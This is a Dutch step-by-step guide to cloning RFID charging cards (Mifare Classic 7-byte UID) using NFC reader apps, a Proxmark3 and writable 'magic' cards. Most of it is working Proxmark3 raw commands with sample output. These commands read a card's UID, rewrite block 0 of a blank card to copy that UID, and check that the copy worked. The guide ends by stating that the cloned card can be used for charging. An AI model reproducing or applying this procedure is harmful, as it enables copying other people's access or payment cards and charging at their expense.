

Laadpassen klonen

Ingrediënten

- Een NFC reader, bijvoorbeeld:
 - Android telefoon met [NFC Taginfo](#).
 - Android telefoon met [MIFARE Classic Tool](#).
- Een NFC writer, bijvoorbeeld:
 - [Proxmark3](#) ~ €340,-
 - [Proxmark3 kloon uit china](#) ~ €36,-
 - [ACR122U](#) ~ €18,-.
- Block 0 Writable Mifare Classic kaarten (7-Byte UID)
 - [S50 7 byte UID](#) ~ €16,-.
 - [S50 7 byte UID \(magic commands\)](#) ~ €4,50

Stappenplan

Stap 1

Bemachtig de UID van de originele kaart met de NFC reader.

NFC Taginfo**NFC TagInfo****Tag information****UID[7]**

0 80

RF technology

Type A (ISO/IEC 14443 Type A)

Tag type

Mifare Classic 1K

Manufacturer

NXP Semiconductors (Germany)

ATQA

0044

SAK

08

Target technology classes (Android)

android.nfc.tech.MifareClassic,
android.nfc.tech.NdefFormatable,
android.nfc.tech.NfcA

Back

Sector: 0

[illegible]

Sector: 1

[illegible]

Sector: 2

00000000000000000000000000000000

Schrijf UID naar nieuwe kaart.

Gebruik eerst het volgende commando om de originele inhoud van block 0 op de nieuwe kaart uit te lezen:

```
hf 14a raw -s -c 3000
```

Voorbeeld:

```
[usb] pm3 --> hf 14a raw -s -c 3000
Card selected. UID[7]:
04 12 19 C3 CC 98 02
received 18 bytes
04 12 19 C3 CC 98 02 00 64 8E 85 94 41 10 38 07 B8 0A
[usb] pm3 -->
```

Noteer de originele 18 bytes, en verander de eerste bytes naar het UID van de kaart die gekloond moet worden. Stel dat het UID van de laadpas 04003537003537 zou zijn, dan wordt dit dus:

04 00 35 37 00 35 37 00 64 8E 85 94 41 10 38 07 B8 0A

Schrijf dit naar de nieuwe kaart door het volgende commando te gebruiken (vervang de laatste 18 bytes met de nieuwe bytes zoals hierboven verkregen):

```
hf 14a raw -s -c -t 2000 -r 90f0cccc100400353700353700648E859441103807B80A
```

Voorbeeld:

```
[usb] pm3 --> hf 14a raw -s -c -t 2000 -r  
90f0cccc100400353700353700648E859441103807B80A
```

Controleer of de kaart nu het nieuwe UID heeft:

```
[usb] pm3 --> hf 14a raw -s -c 3000  
Card selected. UID[7]:  
04 00 35 37 00 35 37  
received 18 bytes  
04 00 35 37 00 35 37 00 64 8E 85 94 41 10 38 07 C3 0E  
[usb] pm3 -->
```



De kaart kan nu gebruikt worden om mee te laden.